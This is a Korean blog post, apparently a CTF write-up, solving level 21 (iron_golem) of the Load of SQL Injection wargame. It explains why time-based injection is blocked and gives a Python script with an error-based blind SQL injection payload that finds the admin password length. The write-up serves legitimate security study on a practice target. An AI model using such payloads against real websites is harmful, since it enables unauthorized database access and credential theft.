Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 해킹도구
- 스캐닝
- Metasploit
- 시스템 해킹
- Los
- 칼리리눅스
- 메타스플로잇
- 암호해독
- 취약점
- 침투테스트
- SQL Injection
- smb
- sql
- 모의해킹
- load of sqlinjection
- 해킹툴
- 내부침투
- 스캔
- web hacking
- 포트스캔
- 권한상승
- Kioptrix
- 취약점분석
- CTF
- 해킹
- Samba
- SQLINJECTION
- root권한
- Hacking
- 취약점 스캔
Archives
- Today
- Total
감자 텃밭
[Load of SQL Injection] LOS - iron_golem(21단계) 본문
21단계 = iron_golem
소스코드
해당 소스코드를 보면 이전문제와 다르게 추가적으로 적용된 필터링으로는
sleep, benchmark가 필터링되어 있다. 이는 Time based SQL Injection은 불가능하게 하기 위함으로 추측된다.
이번문제는 참값을 입력해도 참 거짓이 구분이 되지 않는다.
이럴 경우 사용할 수 있는 게
1. Time Based SQL Injection
2. Error Based SQL Injection
두 종류의 인젝션을 사용할 수 있는데
필터에서도 보았듯이 1번 해결법 Time Based SQL Injection은 사용불가다.
코드를 자세히 보면
즉 에러가 발생 시 에러페이지를 출력시켜 준다.
2번 해결법인 Error Based SQL Injection을 사용하면 될 거 같다.
DBMS도 잘 출력해 준다. 하지만 )가 필터링되어있어 함수등을 사용해 테이블명, 칼럼명, 데이터등은 추출하지 못하며
Error Based SQL Injection을 이용해야 한다.
조건문 또는 union을 사용하여 의도한 SQL 쿼리문이 참일 경우 의도적으로 논리적 오류를 발생시켜야 한다.
import requests
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie = {"PHPSESSID":"세션"}
def admin_pw():
cnt=1
while 1:
query=url+"?pw=' or 1 and if(length(pw)={},(select 1 union select 2),0)%23".format(cnt)
res=requests.get(query, cookies=cookie)
if 'returns' in res.text:
print('admin password={}'.format(cnt))
break
else:
print('wait..{}'.format(cnt))
cnt+=1
admin_pw()
위와 같이 작성했다.
패스워드가 무척 길어서.. 불안했다..
다행히 유니코드는 아니었지만 32자리여서 무척 오래 걸렸다...
성공...!!
※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.
'my_study > LOS' 카테고리의 다른 글
[Load of SQL Injection] LOS - xavis(19단계) (0) | 2023.01.07 |
---|---|
[Load of SQL Injection] LOS - DARKKNIGHT(12단계) (0) | 2022.12.25 |